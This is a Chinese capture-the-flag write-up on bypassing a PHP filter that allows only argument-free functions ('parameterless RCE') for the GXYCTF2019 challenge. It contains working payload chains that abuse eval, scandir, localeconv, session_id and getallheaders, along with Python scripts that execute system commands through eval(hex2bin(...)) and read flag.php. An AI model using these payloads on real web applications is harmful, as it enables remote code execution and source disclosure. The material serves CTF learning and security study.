什么是无参数RCE

传统意义上,如果我们有

1 eval($_GET[‘code’]);

即代表我们拥有了一句话木马,可以进行getshell,例如

无参数RCE([GXYCTF2019]禁止套娃) - 图1

但是如下有限制

无参数RCE([GXYCTF2019]禁止套娃) - 图2

我们会发现我们使用参数则无法通过正则的校验

无参数RCE([GXYCTF2019]禁止套娃) - 图3

而该正则,正是我们说的无参数的校验,其只允许执行如下格式函数

无参数RCE([GXYCTF2019]禁止套娃) - 图4

但不允许

无参数RCE([GXYCTF2019]禁止套娃) - 图5

这样一来,失去了参数,我们进行RCE的难度则会大幅度上升。

法1:getenv()

查阅php手册,有非常多的超全局变量

无参数RCE([GXYCTF2019]禁止套娃) - 图6

我们可以使用$_ENV,对应函数为getenv()

无参数RCE([GXYCTF2019]禁止套娃) - 图7

虽然getenv()可以获取当前环境变量,但是我们从偌大的数组中取出我们制定的值成了问题。这里可以使用方法:

无参数RCE([GXYCTF2019]禁止套娃) - 图8

效果如下

无参数RCE([GXYCTF2019]禁止套娃) - 图9

但是我不想要下表,我想要数组的值,那么我们可以使用

无参数RCE([GXYCTF2019]禁止套娃) - 图10

两者结合即可有如下效果

无参数RCE([GXYCTF2019]禁止套娃) - 图11

我们则可以用爆破的方法获取数组中任意位置需要的值,那么即可使用gentenv(),并获取指定位置的恶意参数

法2:getallheaders()——Apache2环境下

之前我们获取的是所有环境变量的列表,但是我们并不需要这么多信息,仅仅http header即可,在Apache2的环境下,我们又getallheaders()可返回

我们可以看一下返回值

  • array(8) {
  • [“Host”]=> string(14) “106.14.114.127”
  • [“Connection”]=> string(10) “keep-alive”
  • [“Cache-Control”]=> string(9) “max-age=0”
  • [“Upgrade-Insecure-Requests”]=> string(1) “1”
  • [“User-Agent”]=> string(120) “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36”
  • [“Accept”]=> string(118) “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3”
  • [“Accept-Encoding”]=> string(13) “gzip, deflate” [“Accept-Language”]=> string(14) “zh-CN,zh;q=0.9”
  • }

我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如

无参数RCE([GXYCTF2019]禁止套娃) - 图12

此时我们再讲结果中的恶意命令取出

无参数RCE([GXYCTF2019]禁止套娃) - 图13

无参数RCE([GXYCTF2019]禁止套娃) - 图14

这样一来相当于我们将http header中的sky变成了我们的参数,可以用它进行bypass无参数函数执行

例如

无参数RCE([GXYCTF2019]禁止套娃) - 图15

那么可以进一步http header的sky属性进行rce

无参数RCE([GXYCTF2019]禁止套娃) - 图16

法3:get_defined_vars()

使用getallheaders()其实有局限性,因为他是Apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方法呢?

这里我们可以使用get_defined_vars(),首先看一下他的回显

无参数RCE([GXYCTF2019]禁止套娃) - 图17

可以发现他可以回显的全局变量

无参数RCE([GXYCTF2019]禁止套娃) - 图18

我们这里的选择就具有多样性,可以利用$_GET进行RCE,例如、

无参数RCE([GXYCTF2019]禁止套娃) - 图19

还是和之前的思路一样,将恶意参数取出

无参数RCE([GXYCTF2019]禁止套娃) - 图20

发现可以成功RCE

但一般网站喜欢对

无参数RCE([GXYCTF2019]禁止套娃) - 图21

做全局过滤,所以我们可以尝试从$_FILES下手,这就需要我们自己写一个上传

无参数RCE([GXYCTF2019]禁止套娃) - 图22

可以发现空格会被替换成_,为了防止干扰我们用hex编码进行RCE

无参数RCE([GXYCTF2019]禁止套娃) - 图23

最终脚本如下

1234567891011 import requestsfrom io import BytesIOpayload = “system(‘ls /tmp’);”.encode(‘hex’)files = { payload: BytesIO(‘sky cool!’)}r = requests.post(‘http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));’, files=files, allow_redirects=False)print r.content

法4:session_id

之前我们使用$_FILES下手,其实我们还能从$_COOKIE下手:

我们有函数

无参数RCE([GXYCTF2019]禁止套娃) - 图24

可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路,即hex2bin

脚本如下

12345678 import requestsurl = ‘http://localhost/?code=eval(hex2bin(session_id(session_start())));'payload = “echo ‘sky cool’;”.encode(‘hex’)cookies = { ‘PHPSESSID’:payload}r = requests.get(url=url,cookies=cookies)print r.content

即可达成RCE和bypass的目的

法5:dirname()&chdir()

为什么一定要RCE呢?我们能不能直接读文件?

之前的方法都基于女可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?

那么想读取文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?

首先,我们可以使用getcwd()获取当前目录

无参数RCE([GXYCTF2019]禁止套娃) - 图25

那么怎么进行当前目录的目录遍历呢?

这样用scandir()即可

无参数RCE([GXYCTF2019]禁止套娃) - 图26

那么既然不在这一层目录,如何进行目录上跳呢?

我们用dirname()即可

无参数RCE([GXYCTF2019]禁止套娃) - 图27

那么怎么更改当前目录呢?我们发现有函数可以改变当前目录

无参数RCE([GXYCTF2019]禁止套娃) - 图28

将php的当前目录改为directory

所以我们这里在

无参数RCE([GXYCTF2019]禁止套娃) - 图29

进行如下设置即可

无参数RCE([GXYCTF2019]禁止套娃) - 图30

我们尝试读取/var/www/123

无参数RCE([GXYCTF2019]禁止套娃) - 图31

就可以进行文件读取

题解

他考了.git泄露,那我们直接读取到源码

无参数RCE([GXYCTF2019]禁止套娃) - 图32

看了一下正则匹配(?R)引用当前表达式,后面用?递归调用。只能匹配通过无参数的函数然后eval($_GET[‘exp’]);经典的无参数RCE

无参数RCE([GXYCTF2019]禁止套娃) - 图33

由于正则匹配了一下关键字比如et导致很多函数不能用,getshelle什么的基本不可能,只能考虑读源码

如何读出flag.php

想要读出flag.php,就需要有一个函数返回flag.php文件名,scndir()函数可以扫描当前目录下读文件,例如:

无参数RCE([GXYCTF2019]禁止套娃) - 图34

无参数RCE([GXYCTF2019]禁止套娃) - 图35

如何得到scandir()中的’.’

1.chr(46)

对于这种方法,又来了新的问题,46如何得到,我知道的有三种方法

  • chr(rand())
  • chr(time())
  • chr(current(localtime(time())))

首先解释一下chr()函数,我们知道time()返回一个非常大的数,却依然能通过chr(time())得到一个点。这是因为chr()以256为一个周期,既chr(0) chr(256)他们都是相等的。比如我们可以得到1w以内就能够得到的点

无参数RCE([GXYCTF2019]禁止套娃) - 图36

46 302 558 814 1070 1326 1582 1838 2094 2350 2606 2862 3118 3374 3630 3886 4142 4398 4654 4910 5166 5422 5678 5934 6190 6446 6702 6958 7214 7470 7726 7982 8238 8494 8750 9006 9262 9518 9774

因此,假设使用chr(time()),最多256秒走完一个周期,必定出现一个点。

但我本人比较喜欢用第三种

localtime(time())的返回一个数组,Array[0]为一个0~60之间的一个数字,每秒加1,所以最多一分钟就可以得到46.由于php数组内部指针默认指向第一个元素,所以current()或pos()取数组中当前元素的值,就得到了这个数字。

无参数RCE([GXYCTF2019]禁止套娃) - 图37

有关操作数组的方法有

  • end() – 将内部指针指向数组中的最后一个元素,并输出
  • next() – 将内部指针指向数组中的下一个元素,并输出
  • prev() – 将内部指针指向数组中的上一个元素,并输出
  • reset() – 将内部指针指向数组中的第一个元素,并输出
  • each() – 返回当前元素的键名和键值,并将内部指针向前移动

**<font style="color:#000000;">end()</font>****<font style="color:#000000;">next()</font>**很多时候都很有用

2.current(localeconv())

localeconv()数组返回一包含本地数字及货币格式信息的数组,current(localeconv())永远是一个点

无参数RCE([GXYCTF2019]禁止套娃) - 图38

3.phpversion()

原文链接:http://www.manongjc.com/detail/13-ksgbihhdbvdbnza.html

  • phpversion()返回php版本,如7.3.5
  • floor(phpversion())返回7
  • sqrt(floor(phpversion))返回2.6457513110646
  • tan(floor(**sqrt(floor(phpversion())))返回-2.1850398632615**
  • cosh(**tan(floor(sqrt(floor(phpversion()))))返回4.5017381103491**
  • sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
  • ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
  • chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
  • var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
  • next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..

4.crypy()

原文链接 https://www.jianshu.com/p/060d16584b8e

  • readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

原理:**<font style="color:#000000;">hebrevc(crypt(arg))</font>**可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符

  • if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

原理:crypt(serialize(array())) 原因同上

如何得到flag.php

现在我们尝试用scandir()扫描当前目录

  • ?exp=print_r(scandir(current(localeconv())));

无参数RCE([GXYCTF2019]禁止套娃) - 图39

可见,flag.php是倒数第二个值,假设是倒数第一个我们可以用end(),但是并没有一个操作数组的函数能够输出数组的倒数第二个值。怎么办?请见如下3中方法

1.array_reverse()

看函数名就知道了,以相反的元素顺序返回数组

  • ?exp=print_r(array_reverse(scandir(current(localeconv()))));

无参数RCE([GXYCTF2019]禁止套娃) - 图40

然后上面操作数组的方法中,next()将内部指针指向数组中的下一个元素并输出,

  • next(array_reverse(scandir(pos(localeconv()))))就得到了flag.php

2.array_rand(array_filp())

array_flip()交换数组的键和值

  • ?exp=print_r(array_flip(scandir(current(localeconv()))));

无参数RCE([GXYCTF2019]禁止套娃) - 图41

array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断的随机返回,本题目中的scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php

  • ?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

无参数RCE([GXYCTF2019]禁止套娃) - 图42

3.session_id(session_srart())

2020年1月13日更新<font style="color:#000000;">session_id()</font>解题方法:

sky师傅的文章里介绍了这种方法,本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的

使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。

session_id()可以获取到当前的session id。

因此我们手动设置名为PHPSESSID的cookie,并设置为flag.php

如何读flag.php的源码

因为et被ban了,所以不能使用file_get_contents(),但是可以使用readfile()或highlight_file()以及别的函数show_source()

无参数RCE([GXYCTF2019]禁止套娃) - 图43

  • ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

无参数RCE([GXYCTF2019]禁止套娃) - 图44

  • ?exp=show_source(session_id(session_start()));

无参数RCE([GXYCTF2019]禁止套娃) - 图45

无参数RCE([GXYCTF2019]禁止套娃) - 图46